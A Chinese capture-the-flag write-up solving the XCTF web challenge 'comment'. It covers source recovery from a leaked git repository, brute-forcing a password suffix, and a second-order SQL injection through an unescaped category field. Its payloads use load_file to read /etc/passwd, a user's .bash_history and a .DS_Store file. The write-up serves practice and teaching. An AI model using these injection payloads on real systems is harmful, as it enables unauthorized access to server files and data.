攻防世界-WEB-comment
没想到短短几天浏览就破千了,在这里向各位表示衷心的感谢
老样子,先做爆破
上githack
里面有一个write_do.php
<?phpinclude"mysql.php";session_start();if($_SESSION['login']!='yes'){header("Location: ./login.php");die();}if(isset($_GET['do'])){switch($_GET['do']){case'write':break;case'comment':break;default:header("Location: ./index.php");}}else{header("Location: ./index.php");}?>
emmmm
不难看出,当mysql.php和login.php放一起时,存在sql注入的概率还是很大的
尝试
好的,失败
重新分析一下
尝试进行用户名和密码爆破
但是也毫无结果
我们试试他给的用户名
这里可以看出
用户名是zhangwei,密码是zhangwei***
也就是说,***可能需要我们进行爆破
试试
成功
接下来我们尝试注入
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
完全没有注入点啊。。。。。。。。
好好好
我们f12看看数据包有没有什么惊喜吧。。。。。
屁都没得。。。。。
自暴自弃的乱翻。。。。。。
我。。。。。
好好好,commit丢失,那么我们需要做修复
修复方法
- 使用git reflog命令:git reflog命令可以显示仓库中的引用日志,包括被删除的提交
# 查看引用日志git reflog# 恢复到指定提交git reset --hard <commit>
- 使用git fsck命令:git fsck命令可以检查并修复对象数据库中的问题
# 检查并修复对象数据库gitfsck --full --no-dangling
- 使用其他Git工具或服务:比如git reflog和git reset命令来移动分支指针,或者使用Git服务提供商(如GitHub、GitLab等)的恢复功能。
在kali打开
然后做修复
接下来是被修复的php
<?phpinclude"mysql.php";session_start();if($_SESSION['login']!='yes'){//检查会话中的$_SESSION['login']变量是否等于字符串'yes'。如果不是,将用户重定向到"./login.php"页面,并终止脚本的执行。header("Location: ./login.php");die();}if(isset($_GET['do'])){switch($_GET['do']){case'write':$category=addslashes($_POST['category']);//从$_POST变量中获取'category'、'title'和'content'的值,并使用addslashes()函数对它们进行转义,以防止SQL注入攻击。$title=addslashes($_POST['title']);$content=addslashes($_POST['content']);$sql="insert into board
set category = '$category',
title = '$title',
content = '$content'";$result=mysql_query($sql);//构建一个INSERT INTO语句,将转义后的值插入名为'board'的数据库表中header("Location: ./index.php");break;case'comment':$bo_id=addslashes($_POST['bo_id']);$sql="select category from board where id='$bo_id'";$result=mysql_query($sql);$num=mysql_num_rows($result);if($num>0){//以下是当行数>0时执行的操作$category=mysql_fetch_array($result)['category'];//从结果集中获取'category'字段的值,并将其存储在$category变量中。$content=addslashes($_POST['content']);$sql="insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";//构建一个SELECT语句,从名为'board'的数据库表中检索'category'字段的值,其中'id'等于转义后的'bo_id'。$result=mysql_query($sql);}header("Location: ./comment.php?id=$bo_id");//如果行数大于0,将用户重定向到"./comment.php?id=$bo_id"页面。break;default:header("Location: ./index.php");}}else{header("Location: ./index.php");}?>
好的,整理一下
‘write’操作将用户通过POST方法提交的数据插入到名为’board’的数据库表中,而’comment’操作将用户通过POST方法提交的评论数据插入到名为’comment’的数据库表中。如果GET参数不是’write’或’comment’,则用户将被重定向到"./index.php"页面。
这里很有意思的一处就是
在write中,他对所有传入的值做了转义
而在comment中并未对category做转义,我们完全可以利用这一点进行注入
首先,我们摸清楚原理
insertinto board
set category ='$category',
title ='$title',
content ='$content';
当传入的值存在‘ “ \ 以及NULL字符时,addslashes会在字符前加反斜杠。
所以在我们发帖的时候,并不能成功注入
而在comment中,由于他并未对category使用这个函数,原因可能是在comment.php中,我们并不能直接使用category。
我们看这一句
$sql="select category from board where id='$bo_id'";
在comment中抓个包
所以sql就变成了
insert into comment
set category ='123',
title ='1',
content ='1';
bo_id ='1';
那么,当我们在发帖时这么构建
insert into board
set category ='1',content=database()/*',
title = '222',
content = '231241243112234124123441423';
然后我们在comment中这么输入
insert into comment
set category ='1',content=database()/*',
content = '*/#';
bo_id ='1'";
那么sql会将category和content的内容看成’1’,content=database()/**/#
从而执行这条语句
ctf为数据库名称
接下来我们查看用户是什么
权限之高实属难得
我们可以查看一些比较敏感的目录,比如说/etc/passwd /etc/shadow等等等等
在这里的话查看shadow没什么意义,所以我们直接查看/etc/passwd
这里涉及内网渗透的知识
可以发现,除root外,只有www使用bash
bash是Unix以及类Unix的解释器,用于执行命令,编写shell脚本等等
也就是说,我们可以通过查看www的历史记录以获取一些关键信息,这里我们需要知道的是flag在哪里
一般来说,bash的历史记录保存在home/用户/.bash_history中
1',content=(select(load_file("/home/www/.bash_history"))),/*
这里删了 .DS_Store文件,那估摸这里面有玄机
我们去/tmp/html里面找找DS_Store
没读全啊。。。。。。可能是内容太多了
我们试试加密读取
111',content=(select hex((load_file(""/tmp/html/.DS_Store")))),/*
应该是flag了
读取
成功
感谢各位师傅们的支持,能够和师傅们共同成长是我的荣幸
求赞求关注
谢谢!!!
版权归原作者 MQ4 所有, 如有侵权,请联系我们删除。